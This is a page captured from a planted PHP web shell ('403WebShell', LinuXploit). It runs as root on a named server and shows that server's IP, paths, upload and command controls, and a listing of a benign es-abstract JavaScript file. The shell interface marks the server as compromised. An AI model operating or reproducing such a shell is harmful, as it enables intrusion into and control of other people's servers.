Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/control.machinox.in/node_modules/es-abstract/2025/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/control.machinox.in/node_modules/es-abstract/2025/GetViewByteLength.js
'use strict';

var $TypeError = require('es-errors/type');

var IsFixedLengthArrayBuffer = require('./IsFixedLengthArrayBuffer');
var IsViewOutOfBounds = require('./IsViewOutOfBounds');

var isDataViewWithBufferWitnessRecord = require('../helpers/records/data-view-with-buffer-witness-record');

var dataViewBuffer = require('data-view-buffer');
var dataViewByteLength = require('data-view-byte-length');
var dataViewByteOffset = require('data-view-byte-offset');

// https://262.ecma-international.org/15.0/#sec-getviewbytelength

module.exports = function GetViewByteLength(viewRecord) {
	if (!isDataViewWithBufferWitnessRecord(viewRecord)) {
		throw new $TypeError('Assertion failed: `viewRecord` must be a DataView with Buffer Witness Record');
	}

	if (IsViewOutOfBounds(viewRecord)) {
		throw new $TypeError('Assertion failed: `viewRecord` is out of bounds'); // step 1
	}

	var view = viewRecord['[[Object]]']; // step 2

	var isFixed = IsFixedLengthArrayBuffer(dataViewBuffer(view));

	var viewByteLength = isFixed ? dataViewByteLength(view) : 'AUTO'; // view.[[ByteLength]]
	if (viewByteLength !== 'AUTO') {
		return viewByteLength; // step 3
	}

	if (isFixed) {
		throw new $TypeError('Assertion failed: DataView’s ArrayBuffer is not fixed length'); // step 4
	}

	var byteOffset = dataViewByteOffset(view); // step 5

	var byteLength = viewRecord['[[CachedBufferByteLength]]']; // step 6

	if (byteLength === 'DETACHED') {
		throw new $TypeError('Assertion failed: DataView’s ArrayBuffer is detached'); // step 7
	}

	return byteLength - byteOffset; // step 8
};

Youez - 2016 - github.com/yon3zu
LinuXploit